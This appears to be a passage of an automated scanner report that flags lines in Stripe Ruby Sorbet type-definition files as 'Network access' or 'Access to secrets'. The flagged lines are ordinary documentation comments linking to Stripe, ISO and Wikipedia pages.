    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 1063
    #         # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.         sig { returns(T.nilable(S
  • Network accessline 1064
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 1067
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }         def statement_descriptor=(_statement_descriptor); end         # Provides information about a card charge. Concatenated to the account's [statement d
  • Network accessline 1068
    def statement_descriptor=(_statement_descriptor); end         # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) 
  • Network accessline 1069
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 1073
    def statement_descriptor_suffix=(_statement_descriptor_suffix); end         # The parameters used to automatically create a Transfer when the payment succeeds.         # For more information, see the PaymentIntents [use case for connected a
  • Network accessline 1074
    # The parameters used to automatically create a Transfer when the payment succeeds.         # For more information, see the PaymentIntents [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).         sig {
  • Network accessline 1075
    # For more information, see the PaymentIntents [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 1080
    }         def transfer_data=(_transfer_data); end         # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-tra
  • Network accessline 1081
    def transfer_data=(_transfer_data); end         # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) fo
  • Network accessline 1082
    # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Access to secretsline 1118
    [Credential-related source omitted]
  • Access to secretsline 1119
    [Credential-related source omitted]
  • Network accessline 1155
    ); end           end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). This is only accepted for Checkout Sessio
  • Network accessline 1156
    end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). This is only accepted for Checkout Sessions in `setup` mod
  • Network accessline 1157
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). This is only accepted for Checkout Sessions in `setup` mode.
  • Network accessline 1457
    sig { params(_request_overcapture: T.nilable(String)).returns(T.nilable(String)) }           def request_overcapture=(_request_overcapture); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your 
  • Network accessline 1458
    def request_overcapture=(_request_overcapture); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe
  • Network accessline 1459
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 2004
    sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) }           def capture_method=(_capture_method); end           # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checko
  • Network accessline 2005
    def capture_method=(_capture_method); end           # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.           sig { returns(T.nilable(String)) }
  • Network accessline 2006
    # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.
  • Network accessline 2797
    sig { params(_description: T.nilable(String)).returns(T.nilable(String)) }         def description=(_description); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be us
  • Network accessline 2798
    def description=(_description); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 2799
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2898
    sig { params(_amount: Integer).returns(Integer) }             def amount=(_amount); end             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://s
  • Network accessline 2899
    def amount=(_amount); end             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).             sig { returns(String) 
  • Network accessline 2900
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2903
    sig { params(_currency: String).returns(String) }             def currency=(_currency); end             # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-
  • Network accessline 2904
    def currency=(_currency); end             # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://s
  • Network accessline 2905
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2940
    }           def fixed_amount=(_fixed_amount); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struc
  • Network accessline 2941
    def fixed_amount=(_fixed_amount); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 2942
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2952
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }           def tax_behavior=(_tax_behavior); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 2953
    def tax_behavior=(_tax_behavior); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.           sig { returns(T.nilable(String)) }
  • Network accessline 2954
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 3089
    def initialize(end_behavior: nil); end         end         # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the applica
  • Network accessline 3090
    end         # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. To use an applicat
  • Network accessline 3091
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. To use an application fee perc
  • Network accessline 3117
    # The subscription's description, meant to be displayable to the customer.         # Use this field to optionally store an explanation of the subscription         # for rendering in the [customer portal](https://docs.stripe.com/customer-man
  • Network accessline 3118
    # Use this field to optionally store an explanation of the subscription         # for rendering in the [customer portal](https://docs.stripe.com/customer-management).         sig { returns(T.nilable(String)) }
  • Network accessline 3119
    # for rendering in the [customer portal](https://docs.stripe.com/customer-management).
  • Network accessline 3129
    }         def invoice_settings=(_invoice_settings); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a s
  • Network accessline 3130
    def invoice_settings=(_invoice_settings); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 3131
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 3223
    def initialize(link: nil); end       end       # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing).
  • Network accessline 3224
    end       # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing).       sig { returns(T.nilable(Checkout::SessionCreateParams::AdaptivePricing)) }
  • Network accessline 3225
    # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing).
  • Network accessline 3280
    }       def consent_collection=(_consent_collection); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Required
  • Network accessline 3281
    def consent_collection=(_consent_collection); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Required in `set
  • Network accessline 3282
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Required in `setup` mode when `payment_method_types` is not set.
  • Network accessline 3301
    # ID of an existing Customer, if one exists. In `payment` mode, the customer’s most recently saved card       # payment method will be used to prefill the email, name, card details, and billing address       # on the Checkout page. In `subs
  • Network accessline 3302
    # payment method will be used to prefill the email, name, card details, and billing address       # on the Checkout page. In `subscription` mode, the customer’s [default payment method](https://docs.stripe.com/api/customers/update#update_cu
  • Network accessline 3303
    # on the Checkout page. In `subscription` mode, the customer’s [default payment method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings-default_payment_method)
  • Network accessline 3304
    # will be used if it’s a card, otherwise the most recently saved card will be used. A valid billing address, billing name and billing email are required on the payment method for Checkout to prefill the customer's card details.       #     
  • Network accessline 3305
    #       # If the Customer already has a valid [email](https://docs.stripe.com/api/customers/object#customer_object-email) set, the email will be prefilled and not editable in Checkout.       # If the Customer does not have a valid `email`, 
  • Network accessline 3306
    # If the Customer already has a valid [email](https://docs.stripe.com/api/customers/object#customer_object-email) set, the email will be prefilled and not editable in Checkout.
  • Network accessline 3309
    # If blank for Checkout Sessions in `subscription` mode or with `customer_creation` set as `always` in `payment` mode, Checkout will create a new Customer object based on information provided during the payment flow.       #       # You can
  • Network accessline 3310
    #       # You can set [`payment_intent_data.setup_future_usage`](https://docs.stripe.com/api/checkout/sessions/create#create_checkout_session-payment_intent_data-setup_future_usage) to have Checkout automatically attach the payment method t
  • Network accessline 3311
    # You can set [`payment_intent_data.setup_future_usage`](https://docs.stripe.com/api/checkout/sessions/create#create_checkout_session-payment_intent_data-setup_future_usage) to have Checkout automatically attach the payment method to the Cu
  • Network accessline 3319
    sig { params(_customer_account: T.nilable(String)).returns(T.nilable(String)) }       def customer_account=(_customer_account); end       # Configure whether a Checkout Session creates a [Customer](https://docs.stripe.com/api/customers) dur
  • Network accessline 3320
    def customer_account=(_customer_account); end       # Configure whether a Checkout Session creates a [Customer](https://docs.stripe.com/api/customers) during Session confirmation.       #
  • Network accessline 3321
    # Configure whether a Checkout Session creates a [Customer](https://docs.stripe.com/api/customers) during Session confirmation.
  • Network accessline 3322
    #       # When a Customer is not created, you can still retrieve email, address, and other customer data entered in Checkout       # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-custom
  • Network accessline 3323
    # When a Customer is not created, you can still retrieve email, address, and other customer data entered in Checkout       # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-customer_detai
  • Network accessline 3324
    # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-customer_details).
  • Network accessline 3325
    #       # Sessions that don't create Customers instead are grouped by [guest customers](https://docs.stripe.com/payments/checkout/guest-customers)       # in the Dashboard. Promotion codes limited to first time customers will return invalid
  • Network accessline 3326
    # Sessions that don't create Customers instead are grouped by [guest customers](https://docs.stripe.com/payments/checkout/guest-customers)
  • Network accessline 3355
    }       def discounts=(_discounts); end       # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed th
  • Network accessline 3356
    def discounts=(_discounts); end       # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through th
  • Network accessline 3357
    # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Dashboard](https://dashboard
  • Network accessline 3379
    }       def invoice_creation=(_invoice_creation); end       # A list of items the customer is purchasing. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). The parameter is required for `payment`
  • Network accessline 3380
    def invoice_creation=(_invoice_creation); end       # A list of items the customer is purchasing. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). The parameter is required for `payment` and `su
  • Network accessline 3381
    # A list of items the customer is purchasing. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). The parameter is required for `payment` and `subscription` mode.
  • Network accessline 3395
    sig { params(_locale: T.nilable(String)).returns(T.nilable(String)) }       def locale=(_locale); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing ad
  • Network accessline 3396
    def locale=(_locale); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 3397
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 3411
    # You can configure Checkout to collect your customers' business names, individual names, or both. Each name field can be either required or optional.       #       # If a [Customer](https://docs.stripe.com/api/customers) is created or prov
  • Network accessline 3412
    #       # If a [Customer](https://docs.stripe.com/api/customers) is created or provided, the names can be saved to the Customer object as well.       sig { returns(T.nilable(Checkout::SessionCreateParams::NameCollection)) }
  • Network accessline 3413
    # If a [Customer](https://docs.stripe.com/api/customers) is created or provided, the names can be saved to the Customer object as well.
  • Network accessline 3418
    }       def name_collection=(_name_collection); end       # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices).
  • Network accessline 3419
    def name_collection=(_name_collection); end       # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices).       #
  • Network accessline 3420
    # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices).
  • Network accessline 3448
    # Can only be set in `subscription` mode. Defaults to `always`.       #       # If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.s
  • Network accessline 3449
    #       # If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials).       sig { returns(T.nilabl
  • Network accessline 3450
    # If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials).
  • Network accessline 3474
    # A list of the types of payment methods (e.g., `card`) this Checkout Session can accept.       #       # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_m
  • Network accessline 3475
    #       # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods).       # See [Dynamic Payment Methods](https://docs.stripe.com/payments/payment-methods/
  • Network accessline 3476
    # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods).
  • Network accessline 3477
    # See [Dynamic Payment Methods](https://docs.stripe.com/payments/payment-methods/integration-options#using-dynamic-payment-methods) for more details.
  • Network accessline 3501
    #       # We recommend that you review your privacy policy and check with your legal contacts       # before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbe
  • Network accessline 3502
    # We recommend that you review your privacy policy and check with your legal contacts       # before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbers).    
  • Network accessline 3503
    # before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbers).
  • Network accessline 3508
    }       def phone_number_collection=(_phone_number_collection); end       # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=emb
  • Network accessline 3509
    def phone_number_collection=(_phone_number_collection); end       # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-fo
  • Network accessline 3510
    # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults to `always`.
  • Network accessline 3567
    # This parameter is not allowed if ui_mode is `embedded` or `custom`. If you'd like to use       # information from the successful Checkout Session on your page, read the       # guide on [customizing your success page](https://docs.stripe.
  • Network accessline 3568
    # information from the successful Checkout Session on your page, read the       # guide on [customizing your success page](https://docs.stripe.com/payments/checkout/custom-success-page).       sig { returns(T.nilable(String)) }
  • Network accessline 3569
    # guide on [customizing your success page](https://docs.stripe.com/payments/checkout/custom-success-page).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/checkout/session_update_params.rbi

  • Network accessline 14
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 15
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(String) }
  • Network accessline 16
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 34
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }             def postal_code=(_postal_code); end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 35
    def postal_code=(_postal_code); end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 36
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 120
    }             def images=(_images); end             # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured fo
  • Network accessline 121
    def images=(_images); end             # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 122
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 132
    sig { params(_name: String).returns(String) }             def name=(_name); end             # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 133
    def name=(_name); end             # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.             sig { returns(T.nilable(String)) }
  • Network accessline 134
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 168
    def initialize(interval: nil, interval_count: nil); end           end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre
  • Network accessline 169
    end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(String) }
  • Network accessline 170
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 173
    sig { params(_currency: String).returns(String) }           def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of
  • Network accessline 174
    def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.           sig { re
  • Network accessline 175
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 178
    sig { params(_product: T.nilable(String)).returns(T.nilable(String)) }           def product=(_product); end           # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product
  • Network accessline 179
    def product=(_product); end           # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.           sig {
  • Network accessline 180
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 194
    }           def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the 
  • Network accessline 195
    def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s
  • Network accessline 196
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 234
    sig { params(_id: T.nilable(String)).returns(T.nilable(String)) }         def id=(_id); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional
  • Network accessline 235
    def id=(_id); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can 
  • Network accessline 236
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 241
    }         def metadata=(_metadata); end         # The ID of the [Price](https://docs.stripe.com/api/prices). One of `price` or `price_data` is required when creating a new line item.
  • Network accessline 242
    def metadata=(_metadata); end         # The ID of the [Price](https://docs.stripe.com/api/prices). One of `price` or `price_data` is required when creating a new line item.         sig { returns(T.nilable(String)) }
  • Network accessline 243
    # The ID of the [Price](https://docs.stripe.com/api/prices). One of `price` or `price_data` is required when creating a new line item.
  • Network accessline 246
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }         def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required
  • Network accessline 247
    def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required when creating a new line item.         sig { returns(T.nilable(Checkout::Ses
  • Network accessline 248
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required when creating a new line item.
  • Network accessline 258
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }         def quantity=(_quantity); end         # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item.
  • Network accessline 259
    def quantity=(_quantity); end         # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item.         sig { returns(T.nilable(T.any(String, T::Array[String]))) }
  • Network accessline 260
    # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item.
  • Network accessline 352
    sig { params(_amount: Integer).returns(Integer) }             def amount=(_amount); end             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://s
  • Network accessline 353
    def amount=(_amount); end             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).             sig { returns(String) 
  • Network accessline 354
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 357
    sig { params(_currency: String).returns(String) }             def currency=(_currency); end             # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-
  • Network accessline 358
    def currency=(_currency); end             # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://s
  • Network accessline 359
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 394
    }           def fixed_amount=(_fixed_amount); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struc
  • Network accessline 395
    def fixed_amount=(_fixed_amount); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 396
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 406
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }           def tax_behavior=(_tax_behavior); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 407
    def tax_behavior=(_tax_behavior); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.           sig { returns(T.nilable(String)) }
  • Network accessline 408
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 477
    }       def line_items=(_line_items); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 478
    def line_items=(_line_items); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 479
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/climate/order_create_params.rbi

  • Network accessline 27
    }       def beneficiary=(_beneficiary); end       # Request currency for the order as a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a supported [settlement currency for your acco
  • Network accessline 28
    def beneficiary=(_beneficiary); end       # Request currency for the order as a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a supported [settlement currency for your account](htt
  • Network accessline 29
    # Request currency for the order as a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a supported [settlement currency for your account](https://stripe.com/docs/currencies). If omitt
  • Network accessline 37
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 38
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 39
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/climate/order_update_params.rbi

  • Network accessline 27
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 28
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 29
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/confirmation_token_create_params.rbi

  • Network accessline 69
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 70
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 71
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 89
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 90
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 91
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 317
    class Promptpay < ::Stripe::RequestParams; end       class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra
  • Network accessline 318
    class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. 
  • Network accessline 319
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 588
    }       def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 589
